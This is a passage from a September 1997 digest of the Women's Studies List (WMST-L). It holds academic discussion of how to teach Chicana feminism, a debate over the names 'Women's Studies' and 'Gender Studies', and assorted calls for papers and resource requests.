in prepubescence to Los Angeles, they had certain memories of living in Guatemala, and more often than not, had been inculcated with the apolitical views of their parents. They believed that only people who looked for trouble got hurt in Guatemala; they did not believe that there was censorship of the press there. They didn't believe the horror stories in the LA Times saying that it was just American propaganda. Having lived in Guatemala as a child, albeit forty years ago, and being brought up by a mother who argued exactly the same way as these young people's parents, BUT also having read the reports not only in the press but in the reports from Amnesty International and other human rights organizations, I had a different and, I think, more valid point of view than they did from their protected backgrounds. I remember being in a markletplace one day, with my grandmother, when we heard loud pops and the sound of horses. She grabbed me and pulled me into a store where we lay, face down in sawdust while there was much commotion outside, screaming, lots of (what I realized later) was gunfire. We went out the back door, and I never saw what had happened. Moreover, we never spoke of it. Years later, when I asked my grandmother, she replied mildly that she didn't remember anything like that, that I must have dreamed it. My mother gave me the same reply. I can feel the sawdust in my nostrils to this day but I can get no one to confirm that it happened. So when these young people, whose experience was much more recent than mine, tried to argue that the stories about the violence in Guatemala was just U.S. propaganda, I could point to the Human Rights reports. The sawdust didn't give me that authority. These are very difficult issues. I hope we can exercise patience with each other as we hash them out. Rosie ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Tue, 16 Sep 1997 01:10:02 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Steven Schacht Subject: Re: Call for Papers Call For Papers Race, Gender & Class invites submissions for a special issue on ""Sexuality."" We seek papers that explore how the interlocking, socially experienced categories of race, gender, and class affect the ways in which sexuality is defined and acted upon in various segments of society. Possible topics of interest include differences in attraction and communication, concepts of morality, the eroticization of power, sexual humor, and sexual identity issues. Cross-cultural, interdisciplinary, and academic/non-academic papers are welcomed. For further information, please contact of the guest-editors: Dr. Doris Ewing, Department of Sociology and Anthropology, Southwest Missouri State University, Springfield, MO 65807. Phone: 417-836-5684/E-Mail: dwe997f@wpgate.smsu.edu or Dr. Steven P. Schacht, Department of Sociology, Montana State University, Bozeman, MT 59715. Phone: 406-522-7466/E-Mail: SPSCHACHT@AOL.COM. Deadline for submissions is December 31, 1997. ========================================================================= Date: Tue, 16 Sep 1997 01:54:46 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Jeff Finlay Subject: American Studies Opportunities & News, Week Ending September 14 MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT AMERICAN STUDIES OPPORTUNITIES & NEWS Week Ending September 14, 1997 [600-655] Sponsored by the American Studies Association and provided as a free service to the community by the American Studies Crossroads Project (http://www.georgetown.edu/crossroads) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To subscribe to the Opportunities index, or to submit a posting, contact Jeff Finlay, Crossroads Administrator ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following items of interest appeared on American Studies Opportunities & News from September 7-14, 1997. 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Fellowships & Prizes ==================== 646 American Women & Emergence of Secular State -- Essay contest 610 Ansel Adams Research Fellowships, U Arizona (due Oct 31) 647 Hagley Museum Fellowships (due Oct 31) 600 McKnight Doctoral Fellowships for African Americans Calls for Contributions to Books/Journals/Media =============================================== 633 In Process, Journal of African & African American Diaspora 637 Journal of American Studies of Turkey 638 Korean American Women (anthology) 636 Primitivism in Latin America (essays) Calls for Papers for Conferences ================================ 653 Oral History Assoc, Buffalo NY, Oct 15-18, 1998 Programs for Forthcoming Conferences (listed chronologically) ============================================================= 616 Lesbian/Gay/Bi/Trans Writers Conf, Washington DC, Oct 3 Events, Institutes, Seminars & Special Notices ============================================== 614 Workshop, Material Culture/Women's History, Ontario, Oct 3-4 Tables of Contents ================== 655 Wide Angle Issue on Pornography (July 1997) New Web Resources (with URLs) ============================= 626 Panoramic Photographs, Suffrage Pictures on Am Memory Website (http://lcweb2.loc.gov/ammem/pnhtml/pnhome.html) (http://lcweb2.loc.gov/ammem/vfwhtml/vfwhome.html) 623 Using Manuscripts & Archives: A Web Tutorial (http://www.library.yale.edu/mssa/tutorial/index.html) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Opportunities archive and search engine is on the web at http://home.dc.lsoft.com/archives/opportunities.html ========================================================================= Date: Tue, 16 Sep 1997 08:23:09 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: BETTY POWELL Organization: Mars Hill College Subject: WHAT'S IN A NAME? MEMBERS OF THE LIST I'm here once again to ask for your help. My small liberal arts, historically Baptist college, is on the verge of having a Women's Studies minor. I am chairing the task force that has brought that effort about. The proposal will go to the curriculum committee this week and to the faculty in early spring. Several voices have sprung forth with last minute resistance, couching it in terms of the title, Women's Studies. they say that this title is too exclusive and leaves our male students out. We have taken care int he proposal to make it clear that male students are not only welcomed but encouraged to take these classes. Our detractors suggest the title, Gender Studies instead. Most of us argue that Gender Studies is a different area of study altogether, with a major focus on gay, lesbian, and bi-sexual theory. Our faculty doesn't have the expertise to offer such classes, and I'm not at all certain that this college would be ready for that. Have any of you experience this reaction? And doyou have any advice. thanks. Betty J. Powell Mars Hill College bpowell@mhc.edu ========================================================================= Date: Tue, 16 Sep 1997 08:45:19 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Joan Korenman Subject: Re: WHAT'S IN A NAME? MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Content-transfer-encoding: 7BIT Betty Powell writes: > I'm here once again to ask for your help. My small liberal arts, > historically Baptist college, is on the verge of having a Women's > Studies minor. I am chairing the task force that has brought that > effort about. The proposal will go to the curriculum committee this > week and to the faculty in early spring. Several voices have sprung > forth with last minute resistance, couching it in terms of the title, > Women's Studies. This issue has come up several times before on WMST-L. Two of the ensuing discussions have been made into files you can write for. Send the following two-line message to LISTSERV@UMDD.UMD.EDU: GET WOMEN_VS GENDER GET WOMEN_VS GENDER2 Please note the underscore between WOMEN and VS, and please note that that's a V in VS (as in victory), not a U. If you want to see what other files are available, add a third line that says INDEX WMST-L (just those two words). Finally, please remember to send your message to LISTSERV, **not** to WMST-L! Joan Korenman ***************************************************************************** * Joan Korenman korenman@umbc2.umbc.edu * * U. of Md. Baltimore County * * Baltimore, MD 21250 http://www.umbc.edu/wmst/ * * * * The only person to have everything done by Friday was Robinson Crusoe * ***************************************************************************** ========================================================================= Date: Tue, 16 Sep 1997 09:28:41 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Sheila Hassell Hughes Subject: Chicana fem./intro course MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII It might be useful at this point in our discussion to revisit Sharon Snow's initial request regarding Chicana feminism. First, she asked for an article, not a book (as many or most respondents are claiming or assuming). Does this make a difference? Second, she clearly stated that she is teaching an Intro to WS course. This may involve lecturing to a large class. Does this make a difference? Do any of us teaching Intro to WS courses expect to be experts in every area (cultural or disciplinary) to which we ""introduce"" our students? Finally, she explained that she was planning a class session on ""feminist theory"" (which doesn't necessarily comprise a major component of every intro class). Why assume (as a number of us seem to have done) that material by and about Chicanas won't be included in other parts of the course? Let's remember, too, that many of those teaching introductory-level courses are graduate students without the privilege of decades-long careers and the luxury of teaching only (or perhaps ever!) in their fields of specialty. Does this make a difference? Please, can we listen to each other a little more closely??? Just my two bits, Sheila _____________________________ Sheila Hassell Hughes Visiting Assistant Professor Institute for Women's Studies Emory University, Atlanta, GA 30322 shughes@emory.edu ========================================================================= Date: Tue, 16 Sep 1997 11:29:21 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Janice M Bogstad Subject: cfp East/West translation: Leeds, 1998 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" PLEASE REPLY TO ME PERSONALLY, Janice Bogstad > BOGSTAJM@UWEC.EDU > >SECOND CALL: >I have proposed a session for the Leeds International Medieval >Congress, to be held at Leeds Univ. 13-16 July, 1998. I have >attended the conference for three of the four years, and it is >both interesting and widely varied. To date there are few >comparative sessions on Eastern and Western cultures. > >The session has not been finally approved, but I have been >advised that I should go ahead with the call for papers. > >I am calling for submissions from scholars internationally, not >just in the U.S. My abstract is on Chinese women, but I am but I >will consider papers on Middle-Eastern, East- and South- Asian >authors, women poets and poems listed as 'anonymous'. The >emphasis is on comparisons. > >Session Title >The Woman Poet in Medieval Asia: Comparative problems of text, >translation, authorship, recovery, from the 5th through the 15th >Centuries. > >I will be presenting the following paper: > >Paper 1, Title: Li Qingzhao's Prose Poem on Politcs and a Chess >Game: Problems of Translation. > >The Sung (A.D. 960-1280) poetess Li Qingzhao, (1081-1151) is >well known for her artistry in the Tz'u genre. She published a >number of prose pieces, one of which includes a long prose-poem. >The only known-English translation, made by the presenter, will >be discussed in the light of comparisons of translation problems >for 12th century Classical Chinese, and Medieval Anglo-American >and French texts by women poets. Reference will be made to the >author's other ongoing translations of related works by the >aforementioned poet, all found in the collection entitled Da Ma >Tu Jing (Classic on Playing the Game). > +++++++++++++++++++++++++++++++++++++++++++++++ Dr. Janice M. Bogstad, Associate Professor Collection Development Librarian Library & Information Services, McIntyre Library University of Wisconsin-Eau Claire Eau Claire, WI 54702-5010 USA email: bogstajm@uwec.edu telephone: 715-836-6032 ""I HAVE NEVER REGRETTED BUYING A BOOK, BUT I HAVE OFTEN REGRETTED NOT BUYING A BOOK."" +++++++++++++++++++++++++++++++++++++++++++ ========================================================================= Date: Tue, 16 Sep 1997 11:56:05 EST Reply-To: Women's Studies List Sender: Women's Studies List From: ""G. Margaret Porter"" Organization: UNIVERSITY OF NOTRE DAME Subject: ""Sass"" A faculty member asked for some help finding information on a movement among African-American women writers that he says is called ""sass"". I've looked so far at a variety of journal indexes including the MLA, Humanities Index, Contemporary Womens Issues, as well as more general ones, and have not found anything that fits his description. Any knowledge, ideas, suggestions would be greatly appreciated. Thanks. G. Margaret Porter Reference Department Porter.2@nd.edu Hesburgh Library (219) 631-7620 University of Notre Dame ========================================================================= Date: Tue, 16 Sep 1997 12:17:14 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Margaret R Parker Subject: Re: WHAT'S IN A NAME? In-Reply-To: <26F82841B8A@library.mhc.edu> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Betty, at LSU, after much debate, we decided to call ourselves ""Women's and Gender Studies"" because the colleagues who collaborate in the unit do both Women's Studies and Gender Studies. Good luck! Margaret Parker, Director Women's and Gender Studies LSU ========================================================================= Date: Tue, 16 Sep 1997 14:26:48 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: Chicana feminism In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 15 Sep 1997, Shelley Reid wrote: > >Daphne Patai writes: > > > Aside from the larger implications of this (and I have to wonder where, > say, we junior faculty members fit into such a paradigm), what then does > one recommend that the original post-er do now? > ACtually, you know what I would like to see, is to move the discussion to the other end of the spectrum. I don't think there's much else to be said about what the original poster can do (there's been suggestions of articles, books, ways to teach, how to include the material, etc). seems enough. but I'd be interested to know what other people have done to expand their boundaries of teaching ""feminism."" One thing I noticed is that no one mentioned two or more people teaching a class for example. I think perhaps some people may have some very interesting ideas to share. I'd be specially interested in experiences where teachers tried to change the structure of the class, learning dynamics, that does not follow this ( IMO horrendously) hierarchical rigid Western academic structure. Thanks, Vera fiatlux@umich.edu > cheers, > > shelley > > > ***** > Shelley Reid > English Department, Austin College > (Home of the Fighting Kangaroos) > Sherman, TX 75090 > SREID@austinc.edu > ***** > ========================================================================= Date: Tue, 16 Sep 1997 14:32:38 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Phyllis Gorfain Subject: Practicum readings? Subject: Time: 2:34 PM OFFICE MEMO Practicum readings? Date: 9/16/97 I and my student, Nicole Hurt, are trying to locate some good materials on assertiveness for a practicum course at Oberlin College. We are looking for articles which 1) do not presuppose middle-class white women as the subjects and/or readers; 2) that are sensitive to the ways in which race, class, and gender intersect in women's lives and thus affect their abilities to be assertive; and 3) emphasize social/collective agency rather than individual advancement. Thank you in advance for your help. Please send replies directly to snh5562@oberlin.edu ========================================================================= Date: Tue, 16 Sep 1997 14:35:06 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Karola Alford Organization: Eastern Illinois University Subject: Re: Practicum readings? MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Phyllis Gorfain wrote: > > Subject: Time: 2:34 PM > OFFICE MEMO Practicum readings? Date: 9/16/97 > > I and my student, Nicole Hurt, are trying to locate some good materials on > assertiveness for a practicum course at Oberlin College. We are looking for > articles which 1) do not presuppose middle-class white women as the subjects > and/or readers; 2) that are sensitive to the ways in which race, class, and > gender intersect in women's lives and thus affect their abilities to be > assertive; and 3) emphasize social/collective agency rather than individual > advancement. Thank you in advance for your help. Please send replies directly > to snh5562@oberlin.edu I too would appreciate this information! Karola Alford Eastern Illinois University cfka@eiu.edu ========================================================================= Date: Tue, 16 Sep 1997 16:03:44 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Teresa Macias Subject: Re: Chicana feminism In-Reply-To: <970915.210022.EDT.PEGUEROS@URIACC.URI.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Rosa, What you say in terms of Chicana Studies in your posting hurts me deeply because it reminds me of the many times that we, Latinas or Chicanas have been treated as if our politics, our understanding of the world was ""uncivilized"", ""childish"", ""undeveloped"". I may agree with you that there are not enough Latina Proffessors, accademic or researchers with the ""appropriate"" credentials to teach or writte on this issue in terms estipulated by ""accademic"" texts. However, I would argue that has more to do with the system than with our politics. I would like to say that although it is true that many younger people may assimilate the messages pass on by their parents in regards to the politics of Latin America, there are many more Latinas who are a lot more clearer of their politcs because they were and are active and revolutionaries in their homelands. I do not want to forget that the struggle at a grassroot level in many countries in Latin America has been carried on by women who although may not posses the ""accademic credentials"", know a great deal more than I would ever know here. I proudly count my mother among them. Feminism, or women studies may not be in many Latina women's vocabulary, it also true that many of our testimonies speak more of experiences than theories, but that does not mean that we are more ""touchy feeling"", or infantile as you suggest. I believe all aspects are important and necessary, the experiential learning and the thgeoretical learning. All of those need to be included in the classroon. In terms of concrete ideas for the original posting, I believe there are at least some Chicana professor, or accdemics who could contribute to and understanding of Chicana issue and who may be available to attend a shor lecture on the issue. A teacher needs to be able to recognize her shortfalls and use the ressources available to her in the community. Isn't that appropriate and sensitive teaching? Teresa Macias Sociology and Equity Studies Ontario Institute for Studies in Education University of Toronto tmacias@oise.utoronto.ca On Mon, 15 Sep 1997, Rosa Maria Pegueros wrote: > This is a sticky one... > > I think we are discussing several different issues. > > I agree with most of the posters. I agree with Daphne that throwing in > a book on the recommendation of an e-mail post is not necessarily the > best way to proceed BUT the women's studies list is not just any > e-mail list. One of the things I have come to depend upon in the > six or seven years that I have been on it is that the thoughtfulness > and erudition of most of the people who respond to questions such as these > give us a special edge. > > It is difficult to acquire expertise in an area of study that is completely > unfamiliar. However, Chicana studies is still in its infancy. There > are few books available that would stand up to the rigors of professional > criticism. I realize people will be infuriated by my saying this, but I > have a fairly good acquaintance with the work in the field, and a lot of it > is wonderful but not yet scholarly. Much of it is impressionistic, touchy- > feely, and poetic, but undisciplined in the way that I would want. I think > that part of the reason for this is that there are so FEW Latinas who have the > academic credentials to do this work, and we are so burdened with teaching, > serving on every committee that they can get us on (it reminds me of scenes > from the Old Testament Book of Ezechiel), that we are not producing the > theoretical and scholarly books in the critical mass necessary to make an > impact. > > In fact, the best book, in my opinion for understanding the Chicano > experience is George Sanchez' _Becoming a Mexican American_. I simply haven't > seen ANYTHING by a woman approaching the depth and breadth of this book. > > As for the students knowing more than the teacher, well, I would take issue > with that idea as well. Students come in with raw experience that, unless > they are particularly acute and insightful, they may not have the words to > express. The books like Anzaldua's _Borderlands_ or _Haciendo Caras_ > connect solidly with them because her books mirror their experiences. An > insightful teacher, even one who is not of the same ethnic/racial origins, > may also have expertise that will facilitate that connection. In a way, > it is like a therapist: She may not have direct experience with incest > or substance abuse but she may still be an excellent counselor because > of her training and empathy. > > When I was a grad student teaching at UCLA, I had many students who were > from Guatemala. Having come in prepubescence to Los Angeles, they had > certain memories of living in Guatemala, and more often than not, had been > inculcated with the apolitical views of their parents. They believed that > only people who looked for trouble got hurt in Guatemala; they did not believe > that there was censorship of the press there. They didn't believe the horror > stories in the LA Times saying that it was just American propaganda. > Having lived in Guatemala as a child, albeit forty years ago, and being brought > up by a mother who argued exactly the same way as these young people's > parents, BUT also having read the reports not only in the press but in the > reports from Amnesty International and other human rights organizations, > I had a different and, I think, more valid point of view than they did > from their protected backgrounds. > > I remember being in a markletplace one day, with my grandmother, when > we heard loud pops and the sound of horses. She grabbed me and pulled me into > a store where we lay, face down in sawdust while there was much commotion > outside, screaming, lots of (what I realized later) was gunfire. We went > out the back door, and I never saw what had happened. Moreover, we never > spoke of it. Years later, when I asked my grandmother, she replied mildly > that she didn't remember anything like that, that I must have dreamed it. > My mother gave me the same reply. I can feel the sawdust in my nostrils > to this day but I can get no one to confirm that it happened. So when > these young people, whose experience was much more recent than mine, > tried to argue that the stories about the violence in Guatemala was > just U.S. propaganda, I could point to the Human Rights reports. The > sawdust didn't give me that authority. > > These are very difficult issues. I hope we can exercise patience with > each other as we hash them out. > > Rosie > > ____________________________________________________________ > Rosa Maria Pegueros pegueros@uriacc.uri.edu > University of Rhode Island > Department of History phone: (401) 874-4092 > 80 Upper College Road, Suite 3 fax: (401) 874-2595 > Kingston, RI 02881 > ""Qui me amat, amat et canem meum."" > ========================================================================= Date: Tue, 16 Sep 1997 13:49:12 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Sherrie J Nicol Organization: University of Wisconsin-Platteville Subject: diversity-productivity MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit I am looking for research about the hypothesis that a diverse workforce (academic, business or government) yields increased productivity, lower turn-over, increased creativity, etc. In working with faculty to employ teaching methods in introductory science/math/engineering courses which empower all students to create knowledge, I am continually asked about the long-term effectiveness of diversifying the workplace. If you respond to me directly, I will compile the responses and share them with the entire list. Sherrie Nicol nicol@uwplatt.edu Department of Mathematics University of Wisconsin-Platteville Platteville, WI 53818 ========================================================================= Date: Tue, 16 Sep 1997 20:33:00 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: ""Susan Turell (713) 283-3332"" Subject: CFP-Women's Identities MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY=""Boundary (ID zHG2QQWTlOizyyPAO7DB6g)"" --Boundary (ID zHG2QQWTlOizyyPAO7DB6g) Content-type: TEXT/PLAIN; CHARSET=US-ASCII The South Central women's Studies Assoc. is having a conference Mar 6-7 hosted by the University of Houston-CLear Lake. Adrienne Rich is the keynote speaker. For more information, contact me at TURELL@UHCL4.CL.UH.EDU Susan Turell --Boundary (ID zHG2QQWTlOizyyPAO7DB6g) MIME-version: 1.0 Content-type: MESSAGE/RFC822 Date: Mon, 8 Sep 1997 18:11:00 CST From: ""Gretchen Mieszkowski (281) 283-3312"" Subject: SCWSA Call To: Susan Turell , Kevin Mcnamara , hodgesl@uhcl2.cl.uh.edu MIME-version: 1.0 Content-type: TEXT/PLAIN; CHARSET=US-ASCII Posting-date: Mon, 8 Sep 1997 18:13:00 CST Importance: normal A1-type: MAIL Call for Papers Papers and panel proposals are invited for the 1998 annual conference of the South Central Women's Studies Association, March 5-7, Houston, Texas, at the University of Houston-Clear Lake. Keynote speaker: Adrienne Rich. All academic fields welcome; proposals from practitioners, community organizers, and feminist activists gladly received. Prize for best student paper; creative writing prize (mail 5 poems or 10 pgs. fiction as proposal). Send 250-word abstracts or proposals to Dr. Margaret Snooks, Univ. of Houston-Clear Lake, 2700 Bay Area Blvd., Houston TX 77058. For more information, call Dr. Susan Turell (281) 283-3332. Abstract deadline: November 14, 1997. --Boundary (ID zHG2QQWTlOizyyPAO7DB6g)-- ========================================================================= Date: Tue, 16 Sep 1997 17:08:00 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: Chicana feminism In-Reply-To: <199709151413.JAA21778@beloit.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" At 09:13 AM 9/15/97 -0500, you wrote: >> Do people on this list really think it's a good form of teaching to Although Ruth and I agree about many things, I don't see her concern about adding a reading to a syllabus the way she does. Ruth, you seem to assume as Daphne does that the teachers will use the reading as ""the right"" representation of Chicana women/feminists. Why not assume instead that the teacher 1) has knowledge about Chicanas/os but doesn't know of a reading appropriate for a intro WS course, which she requested; 2) will use the reading to raise critical questions about the contents; 3)understands that many representations of a group totalize that group and knows to look for that and alert students to it if it's in a text; 4)knows about authors' point of view and teaches students to look for that; 5)will read as many of the books recommended on wmst as she can (perhaps too quickly, given the short time mentioned) before she puts in on the syllabus; and 6)will prepare reasonably well before that reading comes up in the class. I also don't think you should assume, as you seem to, that the teacher is ""engulfed"" in US perspectives - what is that, anyway? there are diverse perspectives in the US - and needs an antidote in a student/s in class. And, while I agree that a teacher should expect to be an informant with ample background in a class and be respectful of authors, I also think that she should be respectful of students as knowers and style discussions of readings to invite their questions, additions, corrections, etc. The teacher in question (I don't recall her name.) indicated that she has good reason to expect Mexican Americans in her class. Does that put the burden them to educate everyone else there about Mexican Americans? Not necessarily at all. Suppose there are no Mexican Americans in the class? Shouldn't they be in the course, as part of the students' reality? Recall the old saw that students today didn't live 100 years ago but we try to help them 'get into the period' and consider how it effects them. I believe, in fact, that it's a mistake to confine a course in the US to consideration of people in the US apart the reality of their relationship to people in other countries. It's not possible to teach everything in one course but samplers from post-colonized and continuing-to-be-colonized territories could give students in the US a better understanding of how they are situated and how they look from abroad. I'm expecting/hoping that the course wouldn't simply be taking students on a cultural safari but would be working toward a perspective on contexts. On student input. My experience with WS classes, undergrad and grad, made up of students with a variety of backgrounds and mixtures of them (race, ethnicity, religion, sexual orientation, age, etc), has been that exchanges of questions and comments informed everyone, raised sights about diversity of experience, fired imaginations about how to read and inspired at least some students to move on to learn more about a topic. beatrice bkachuck@cuny.campus.mci.net >> have teachers ""add"" a book about an area they know nothing about, i >> order to get the right racial/ethnic/etc. representation? When I ========================================================================= Date: Tue, 16 Sep 1997 16:25:15 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Emily Toth Subject: SHE'S COME UNDONE Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" For a course in Current Best Sellers, I'm soon going to be teaching Wally Lamb's SHE'S COME UNDONE (an Oprah selection). I'd like to hear from people who've read the book and what they think about it. Please reply privately, and thanks. Emily Toth Professor of English & Women's Studies Allen Hall Louisiana State University Baton Rouge, LA 70803 e-mail: etoth@unix1.sncc.lsu.edu office phone: 504-388-3152 English Dept. fax: 504-388-4129 THE BOOK TO BUY: MS. MENTOR'S IMPECCABLE ADVICE FOR WOMEN IN ACADEMIA by Emily Toth. University of Pennsylvania Press, 1-800-445-9880. View it on this Web site: http://www.higheredjobs.com/test2/ ========================================================================= Date: Tue, 16 Sep 1997 18:10:30 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: Chicana feminism Re: Chicana feminism Date: Tue, 16 Sep 1997 16:03:44 -0400 From: Teresa Macias To: WMST-L@UMDD.UMD.EDU >Rosa, > What you say in terms of Chicana Studies in your posting hurts me >deeply because it reminds me of the many times that we, Latinas or >Chicanas have been treated as if our politics, our understanding of the >world was ""uncivilized"", ""childish"", ""undeveloped"". I am sorry that you are hurt by my words. I did not intend to hurt anyone, but only to explain how I see the current development of this field. I did not use, nor did I intend any of those characterizations. To me, there are various levels of knowledge and understanding. In the beginning, there is the raw experience that is found in the direct recounting of those who have experienced it. Then come the forms of telling that are more sophisticated than the witness account. Poetry, which speaks directly to the heart; cuentos, and prose: each of which is trying to make sense the experience. Then comes the self-conscious development of theory: Looking at the experience of others, and at the way others have theorized their lives. Looking to see what makes us alike, and what is utterly unique to us. If you look at the development of women's studies, there are notable gaps in the seminal works. Germaine Greer's books, Susan Brownmiller on rape, Betty Friedan's _Feminine Mystique_ reflect a certain stage of development in the discipline. While they still have a certain historical value, we have moved beyond that stage both in the movement, and in women's studies programs. We are no longer simply discovering our oppression. To me, many of the books that are widely read in Chicana studies are discovering our oppression. They are important for that reason, but George Sanchez's book takes the study of Chicanos to the next theoretical level. >I may agree with you >that there are not enough Latina Proffessors, accademic or researchers >with the ""appropriate"" credentials to teach or writte on this issue in >terms estipulated by ""accademic"" texts. However, I would argue that has >more to do with the system than with our politics. And I would argue that it has more to do with the disparate development of the various Chicano and Latino communities in America. In Los Angeles, where I lived for many years, there were Latina professionals whose families had lived there for generations and who were very well-off. There were also new Mexican, Guatemalan and Salvadoran immigrants who worked in the sweat shops and spoke no English. Many of those Chicanas did not identify with the new immigrants and had more in common with the Cuban emigre professionals in Miami. > I would like to say that although it is true that many younger people >may assimilate the messages pass on by their parents in regards to the >politics of Latin America, there are many more Latinas who are a lot more >clearer of their politcs because they were and are active and >revolutionaries in their homelands. I don't know how you quantify ""more."" For one thing, the involvement in revolutionary movements may have more to do with class than anything else. Maria Teresa Tula (_Hear My Testimony: Maria Teresa Tula, Human Rights Activist of El Salvador_ edited by Lynn Stephen. Boston: South End Press, 1994) was a wife who was forced by circumstance to become a labor union organizer and then a revolutionary. The same was not true of the 18 and 19 year-old Guatemalan women who sat in my classroom at UCLA. Brought to the US by parents who were well-off, they had been protected from the terrible knowledge of the reality of life in Guatemala. I taught the children of diplomats, and in one instance, the son of the Consul General of Mexico. Hardly a revolutionary bunch. > their homelands. I do not want to forget that the struggle at a grassroot >level in many countries in Latin America has been carried on by women who >although may not posses the ""accademic credentials"", know a great deal >more than I would ever know here. I proudly count my mother among them. Revolution is one thing; academic learning is another. No one is suggesting that only professors know enough to lead revolutions. They are two different kinds of knowledge. >Feminism, or women studies may not be in many Latina women's vocabulary, it >also true that many of our testimonies speak more of experiences than >theories, but that does not mean that we are more ""touchy feeling"", or >infantile as you suggest. I believe all aspects are important and >necessary, the experiential learning and the thgeoretical learning. >All of those need to be included in the classroon. Yes, but they teach different things and cannot be thrown together as if they were all the same. I strongly believe that CHICANA or LATINA studies, as a discipline, is still in its infancy. Women's studies programs have been a part of the univer- sity for at least the last fifteen years, but Chicana/Latina studies classes and books have become available only very recently. > In terms of concrete ideas for the original posting, I believe there >are at least some Chicana professor, or accdemics who could contribute to >and understanding of Chicana issue and who may be available to attend a >shor lecture on the issue. A short lecture is hardly enough. >A teacher needs to be able to recognize her >shortfalls and use the ressources available to her in the community. >Isn't that appropriate and sensitive teaching? Teresa Macias Sociology and Equity Studies Ontario Institute for Studies in Education University of Toronto tmacias@oise.utoronto.ca I can't imagine anyone would argue with that. Rosie ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Tue, 16 Sep 1997 21:21:37 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Florence Howe Subject: Re: WHAT'S IN A NAME? I wish I had more time to write to you about your problems, but, alas, I have only a few minutes, and I usually don't answer questions from the list. But here goes, briefly. In the beginning, we chose between ""women's studies,"" ""female studies,"" and ""feminist studies,"" and chose the word that would signify dignity, for we were still being called ""girls."" In the beginning, women's studies meant the study of ""women and gender."" We all took this for granted in the early 1970s, and people either laughed at us or ignored us. A few were hostile, but for the most part, we could at least get started without having to fight about the words. I think you are quite right about insisting on ""women's studies,"" since you are adding to the curriculum what has been traditionally omitted: the study of women as a group, with all their differences, and the study of women's relationships to men--a significant aspect of gender. Go to it: there is lots of material as well as 620 women's studies programs in a list just coming out of Women's Studies Quarterly to help you. Florence Howe (Florench@aol.com) ========================================================================= Date: Tue, 16 Sep 1997 21:56:49 -0600 Reply-To: Women's Studies List Sender: Women's Studies List From: Sharon Snow Subject: Chicana fem./intro course MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY=""Boundary_[ID_pxi1Zd0fkWBEYwx9NePMRg]"" --Boundary_[ID_pxi1Zd0fkWBEYwx9NePMRg] Content-type: TEXT/PLAIN; CHARSET=US-ASCII Thanks to everyone who sent lists of resources. And thank you to Sheila Hughes of Emory who sent the following message. You accurately reflected the request I made and the situation. Sharon Snow Graduate Teaching Assistant Sociology & Women's Studies Texas Woman's University [**** Insert text here ****] ****************************************************************************** It might be useful at this point in our discussion to revisit Sharon Snow's initial request regarding Chicana feminism. First, she asked for an article, not a book (as many or most respondents are claiming or assuming). Does this make a difference? Second, she clearly stated that she is teaching an Intro to WS course. This may involve lecturing to a large class. Does this make a difference? Do any of us teaching Intro to WS courses expect to be experts in every area (cultural or disciplinary) to which we ""introduce"" our students? Finally, she explained that she was planning a class session on ""feminist theory"" (which doesn't necessarily comprise a major component of every intro class). Why assume (as a number of us seem to have done) that material by and about Chicanas won't be included in other parts of the course? Let's remember, too, that many of those teaching introductory-level courses are graduate students without the privilege of decades-long careers and the luxury of teaching only (or perhaps ever!) in their fields of specialty. Does this make a difference? Please, can we listen to each other a little more closely??? Just my two bits, Sheila _____________________________ Sheila Hassell Hughes Visiting Assistant Professor Institute for Women's Studies Emory University, Atlanta, GA 30322 shughes@emory.edu --Boundary_[ID_pxi1Zd0fkWBEYwx9NePMRg]-- ========================================================================= Date: Tue, 16 Sep 1997 20:24:18 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Chelsea Starr Subject: Re: Chicana feminism/assumptions Mime-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" >I will be talking about feminist theory in my intro class next 